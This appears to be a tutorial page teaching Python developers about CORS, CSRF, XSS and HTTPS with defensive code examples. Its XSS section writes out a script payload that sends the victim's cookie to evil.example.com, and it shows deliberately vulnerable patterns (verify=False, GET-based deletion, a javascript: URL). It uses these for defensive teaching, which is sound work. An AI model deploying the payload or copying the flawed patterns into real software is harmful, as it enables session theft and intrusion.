Filter concepts by levelShowing all levels.

Python · Web and HTTP Fundamentals

Security-related web concepts

Concepts
4

CORS as the browser-enforced same-origin relaxation, CSRF and XSS as the two classic attacks a backend engineer must design defenses against, and HTTPS/TLS/same-origin policy as the underlying transport and browser guarantees the other three build on.

Python overview

Browser-enforced defenses and attacks

What the browser itself restricts by default (same-origin policy, CORS as its controlled exception), and the two attacks (CSRF, XSS) that specifically target the gaps a browser alone cannot close.

CORS (Cross-Origin Resource Sharing)

coreintermediate

CORS is a browser-enforced relaxation of the same-origin policy — by default a browser blocks a page on one origin from reading a response from a different origin, and CORS is the set of response headers a server can send to explicitly allow specific other origins to read its responses.

Think of it as

The same-origin policy is a building where every tenant's mail is locked to their own floor by default. CORS is a tenant explicitly posting a notice at the mail room: "residents of floor 7 (this specific origin) may also collect from my box" — the mail room (browser) is what actually enforces it, not the tenant.

python
# a minimal, framework-agnostic CORS response for one specific origin
def cors_headers(origin: str) -> dict:
    allowed = {'https://app.example.com'}
    if origin not in allowed:
        return {}
    return {
        'Access-Control-Allow-Origin': origin,
        'Access-Control-Allow-Methods': 'GET, POST',
        'Access-Control-Allow-Credentials': 'true',
    }

What we're doing: Show the concrete decision a server makes per request: reflect the origin back only if it is on an explicit allowlist, never a blanket "*" when credentials are involved.

cors_allowlist.pypython
def cors_headers(origin: str) -> dict:
    allowed = {'https://app.example.com', 'https://admin.example.com'}
    if origin not in allowed:
        return {}   # no CORS headers at all -- browser blocks the response from being read

    return {
        'Access-Control-Allow-Origin': origin,      # echo back the SPECIFIC origin, never "*"
        'Access-Control-Allow-Credentials': 'true',  # only valid paired with a specific origin
    }

print(cors_headers('https://app.example.com'))
print(cors_headers('https://evil.example.com'))
2
An explicit allowlist, not a wildcard — this is what makes CORS a real access-control decision instead of a formality.
7
Access-Control-Allow-Origin must echo the SPECIFIC requesting origin (not "*") whenever credentials are also allowed, per the CORS spec.
Output
{'Access-Control-Allow-Origin': 'https://app.example.com', 'Access-Control-Allow-Credentials': 'true'}
{}

Why this works: The allowed origin gets the full CORS headers back; the disallowed one gets an empty dict — no Access-Control-Allow-Origin header at all — which is what causes a browser to block the page's JavaScript from reading that response, even though the HTTP request itself still reached the server and the server still did the work.

The browser enforces CORS — the server only sets headers
Page JS
Browser
Server
  1. 1. fetch("https://api.example.com/data")
  2. 2. GET /data (Origin: https://app.example.com)
  3. 3. Access-Control-Allow-Origin: https://app.example.comorigin is on the server's allowlist
  4. 4. response readable
  5. 5. blocked — no matching headerthe HTTP request still reached the server either way
  1. Page JS → Browser: fetch("https://api.example.com/data")
  2. Browser → Server: GET /data (Origin: https://app.example.com)
  3. Server → Browser: Access-Control-Allow-Origin: https://app.example.com (origin is on the server's allowlist)
  4. Browser → Page JS: response readable
  5. Browser → Page JS: blocked — no matching header (the HTTP request still reached the server either way)

Setting Access-Control-Allow-Origin: "*" on an endpoint that also allows credentials

Wrong

python
return {
    'Access-Control-Allow-Origin': '*',
    'Access-Control-Allow-Credentials': 'true',   # spec-invalid combination
}
# modern browsers reject this combination outright -- the request fails

Better

python
return {
    'Access-Control-Allow-Origin': request_origin,   # a specific, validated origin
    'Access-Control-Allow-Credentials': 'true',
}

What you see: A cross-origin request that includes cookies/credentials fails in the browser with a CORS error, even though the same request works fine from curl or Postman.

Why: The Fetch/CORS spec explicitly forbids combining a wildcard origin with Allow-Credentials: true — allowing "any origin" to also read credentialed responses would defeat the entire purpose of the same-origin policy, so browsers refuse to honor that combination rather than silently allowing it.

Key CORS response headers

Key CORS response headers
HeaderPurpose
Access-Control-Allow-OriginWhich origin(s) may read this response
Access-Control-Allow-MethodsWhich HTTP methods are allowed cross-origin
Access-Control-Allow-HeadersWhich request headers the client is allowed to send
Access-Control-Allow-CredentialsWhether cookies/credentials may be included (requires a specific origin, not "*")

Remember: CORS is enforced by the browser, not the server — reflect a specific validated origin (never "*") whenever credentials are involved.

See also: csrf · https tls and same origin policy

CSRF (Cross-Site Request Forgery)

coreintermediate

CSRF tricks a logged-in user's own browser into sending a real, authenticated request to a site they are logged into — the browser automatically attaches the session cookie, so the request looks completely legitimate to the server even though the user never intended to make it.

Think of it as

A session cookie is a signed permission slip your browser carries around and shows automatically at your bank's door. CSRF is a stranger handing you a sealed envelope — "please slide this under any door you happen to walk past" — and your browser, without reading the contents, still shows your permission slip at whichever door the envelope was addressed to.

python
import secrets

def generate_csrf_token() -> str:
    return secrets.token_urlsafe(32)

def verify_csrf_token(submitted: str, expected: str) -> bool:
    return secrets.compare_digest(submitted, expected)   # constant-time, not ==

What we're doing: Generate a real CSRF token and confirm secrets.compare_digest correctly accepts a matching token and rejects a mismatched one.

csrf_token.pypython
import secrets

def generate_csrf_token() -> str:
    return secrets.token_urlsafe(32)

def verify_csrf_token(submitted: str, expected: str) -> bool:
    return secrets.compare_digest(submitted, expected)

session_token = generate_csrf_token()
print('token length:', len(session_token))
print('correct token accepted:', verify_csrf_token(session_token, session_token))
print('forged/wrong token rejected:', verify_csrf_token('forged-value', session_token))
4
secrets.token_urlsafe generates a cryptographically random token an attacker's page has no way to guess or read.
7
compare_digest runs in constant time regardless of how many characters match — a plain == can leak timing information about a partial match.
Output
token length: 43
correct token accepted: True
forged/wrong token rejected: False

Why this works: The matching token is correctly accepted and an arbitrary forged string is correctly rejected — the concrete mechanism a CSRF token relies on: an attacker's page can trigger a cross-site request, but has no way to read this session's real token value to include it in that forged request's body.

Why an attacker's page can trigger the request but not read the token
Evil page
Browser
Bank server
  1. 1. hidden form auto-submits to bank.com
  2. 2. POST /transfer (Cookie: session_id=... attached automatically)browser sends the cookie regardless of which page triggered it
  3. 3. 403 — CSRF token missing or wrongthe evil page never had access to the real token to include it
  1. Evil page → Browser: hidden form auto-submits to bank.com
  2. Browser → Bank server: POST /transfer (Cookie: session_id=... attached automatically) (browser sends the cookie regardless of which page triggered it)
  3. Bank server → Browser: 403 — CSRF token missing or wrong (the evil page never had access to the real token to include it)

Accepting a state-changing request over plain GET

Wrong

python
@app.route('/account/delete', methods=['GET'])   # state change on GET
def delete_account():
    delete_current_user()
    return 'deleted'
# <img src="https://victim-site.com/account/delete"> on ANY page now deletes the account

Better

python
@app.route('/account/delete', methods=['POST'])   # state change requires POST
@require_csrf_token
def delete_account():
    delete_current_user()
    return 'deleted'

What you see: A user's account is modified or deleted simply from visiting an unrelated page — no phishing of credentials needed, just an <img> tag or similar auto-loading resource pointing at the vulnerable URL.

Why: A browser sends a GET automatically for any embedded resource (image, script tag) with zero user interaction and zero same-origin restriction on TRIGGERING it (only on reading the response) — putting a state change behind GET means literally any page on the internet can trigger it just by being visited, with no token check possible to add after the fact for a GET-triggered load.

Remember: A CSRF token in the request body defeats forgery because a forging page cannot read it — and state-changing actions must never live behind a plain GET.

See also: cookies and sessions · cors

XSS (Cross-Site Scripting)

coreintermediate

XSS happens when untrusted input (a username, a comment, a URL parameter) ends up rendered into a page as if it were trusted HTML/JavaScript instead of plain text — the browser then executes it exactly as if the site's own developers had written it.

Think of it as

A web page template is a form letter with blanks to fill in. Escaping is treating whatever goes in a blank as inert TEXT no matter what it looks like — writing "Dear <b>Alice</b>," literally, not bolding it. Skipping escaping is instead handing the filler a live pen and letting them rewrite the letterhead if their input happens to look like formatting instructions.

python
import html

user_input = '<script>alert(1)</script>'
safe = html.escape(user_input)
print(safe)   # &lt;script&gt;alert(1)&lt;/script&gt; -- inert text, not a tag

What we're doing: Show real, unescaped user input landing inside HTML as a live tag vs. the same input correctly escaped into inert text — the exact before/after that defines the vulnerability.

xss_escaping.pypython
import html

user_comment = '<script>document.location="https://evil.example.com/steal?c="+document.cookie</script>'

unsafe_html = f'<p>{user_comment}</p>'                  # naive string interpolation
safe_html = f'<p>{html.escape(user_comment)}</p>'        # escaped before interpolation

print('UNSAFE:', unsafe_html)
print('SAFE:  ', safe_html)
4
A realistic payload — this script, if it executes, exfiltrates the victim's own session cookie to an attacker-controlled domain.
8
html.escape() runs BEFORE interpolation — the tag characters become harmless text entities, never reaching the browser as real markup.
Output
<p><script>document.location="https://evil.example.com/steal?c="+document.cookie</script></p>
<p>&lt;script&gt;document.location=&quot;https://evil.example.com/steal?c=&quot;+document.cookie&lt;/script&gt;</p>

Why this works: The unsafe version embeds a live, browser-executable <script> tag directly in the HTML — a browser rendering that page runs it immediately. The escaped version renders as visible, inert text (literally showing the angle brackets as characters), because html.escape converted every character a browser would treat as markup into a harmless entity first.

Escaping turns a live tag into inert text, before interpolation
no escaping

user_comment

<script>steal cookie</script>

html.escape(user_comment)

f"<p>{user_comment}</p>"

skipped escaping — browser runs the script

f"<p>{escaped}</p>"

&lt;script&gt;... — rendered as visible text

  • user_comment — <script>steal cookie</script>
    • on error, leads to f"<p>{user_comment}</p>" (no escaping)
    • leads to html.escape(user_comment)
  • html.escape(user_comment)
    • leads to f"<p>{escaped}</p>"
  • f"<p>{user_comment}</p>" — skipped escaping — browser runs the script
  • f"<p>{escaped}</p>" — &lt;script&gt;... — rendered as visible text

Escaping HTML but building a URL/attribute from unescaped input

Wrong

python
# html.escape protects the TEXT NODE, not this attribute context
profile_link = f'<a href="{user_supplied_url}">Visit</a>'
# user_supplied_url = 'javascript:alert(document.cookie)' -- still executes on click

Better

python
ALLOWED_SCHEMES = {'http', 'https', 'mailto'}
from urllib.parse import urlparse

def safe_href(url: str) -> str:
    if urlparse(url).scheme not in ALLOWED_SCHEMES:
        return '#'
    return html.escape(url, quote=True)

profile_link = f'<a href="{safe_href(user_supplied_url)}">Visit</a>'

What you see: HTML-escaped output still results in a click-triggered script execution — the escaping "worked" (no raw tags appear) but the vulnerability persists because the dangerous part was never the tag characters at all.

Why: html.escape() neutralizes characters that would break out of a text or attribute VALUE, but it does not validate the semantic content of that value — a javascript: URL scheme is still a fully valid, escaped attribute value that a browser will happily execute when the link is clicked, so a URL context needs scheme validation, not just character escaping.

Remember: Escape untrusted output for the CONTEXT it lands in (text, attribute, URL) — escaping characters is not the same as validating meaning.

See also: cookies and sessions · https tls and same origin policy

HTTPS, TLS, and the same-origin policy

coreintermediate

HTTPS is HTTP carried over TLS, which encrypts and authenticates the connection so a network observer cannot read or silently modify traffic; the same-origin policy is a separate, browser-enforced rule that a page from one origin (scheme + host + port) cannot read data from a different origin by default.

Think of it as

TLS is a sealed, tamper-evident envelope for what travels between two points — it says nothing about who is allowed to open OTHER people's mail once delivered. The same-origin policy is the separate rule that your mailbox key only opens your own box, even though the envelope itself (TLS) was equally sealed for everyone's mail on the same street.

python
import ssl, httpx

with httpx.Client(verify=True) as client:   # verify=True is the default -- validates the cert chain
    response = client.get('https://api.example.com/data')
    # a self-signed or expired cert here raises httpx.ConnectError, connection refused before any data moves

What we're doing: Confirm a real HTTPS connection actually negotiates TLS and validates the certificate — using the same live client from this section's other concepts, now checked at the transport layer.

https_transport.pypython
import ssl, httpx

print('OpenSSL version:', ssl.OPENSSL_VERSION)

with httpx.Client() as client:
    response = client.get('https://httpbin.org/get')
    print('status:', response.status_code)
    print('scheme used:', response.url.scheme)
1
Python's ssl module wraps OpenSSL directly — httpx uses it under the hood for every https:// connection, with certificate verification on by default.
5
A failed certificate check here would raise before this line ever returns a response — reaching status: 200 is itself proof the TLS handshake and cert validation both succeeded.
Output
OpenSSL version: OpenSSL 3.0.18 30 Sep 2025
status: 200
scheme used: https

Why this works: Reaching a 200 status over an https:// URL is only possible because the TLS handshake completed and the server's certificate was validated against a trusted CA — httpx defaults to verify=True, so a bad/expired/self-signed certificate would have raised a connection error before any HTTP response was ever received.

TLS vs. the same-origin policy — two separate protections

TLS (HTTPS)

  • +Encrypts and authenticates data IN TRANSIT
  • +Proves the server is who it claims to be
  • +Does nothing against XSS, CSRF, or SQL injection

Same-origin policy

  • Browser rule: scheme + host + port must all match
  • Blocks one origin's script from reading another's response
  • CORS is the controlled, opt-in exception to it
  • TLS (HTTPS)
    • Encrypts and authenticates data IN TRANSIT
    • Proves the server is who it claims to be
    • Does nothing against XSS, CSRF, or SQL injection
  • Same-origin policy
    • Browser rule: scheme + host + port must all match
    • Blocks one origin's script from reading another's response
    • CORS is the controlled, opt-in exception to it

Disabling certificate verification to work around a local error

Wrong

python
with httpx.Client(verify=False) as client:   # "just make the SSL error go away"
    response = client.get('https://api.example.com/data')
# now indistinguishable from talking to an attacker's server presenting ANY certificate

Better

python
# fix the actual cause: install the missing CA bundle, or for local dev,
# trust a specific self-signed cert explicitly rather than disabling checks globally
with httpx.Client(verify='/path/to/local-dev-ca.pem') as client:
    response = client.get('https://api.example.com/data')

What you see: The immediate SSL error disappears and the code "works" — but the fix silently removed the entire guarantee that the server being talked to is the real one, invisible in code review unless someone specifically checks for verify=False.

Why: Certificate verification is what proves the server on the other end is who it claims to be — disabling it makes the connection just as encrypted-looking to casual inspection but with zero protection against a machine-in-the-middle presenting its own certificate, which is precisely the attack TLS exists to prevent.

What counts as the "same" origin

What counts as the "same" origin
URL AURL BSame origin?
https://example.com/ahttps://example.com/bYes — path does not matter
https://example.comhttp://example.comNo — scheme differs
https://example.comhttps://api.example.comNo — host differs (subdomain)
https://example.com:443https://example.com:8443No — port differs

Remember: TLS protects data in transit and proves server identity — it does nothing against XSS/CSRF/injection, and the same-origin policy (not TLS) is what isolates one site's data from another's script.

See also: cors · xss

Advertisement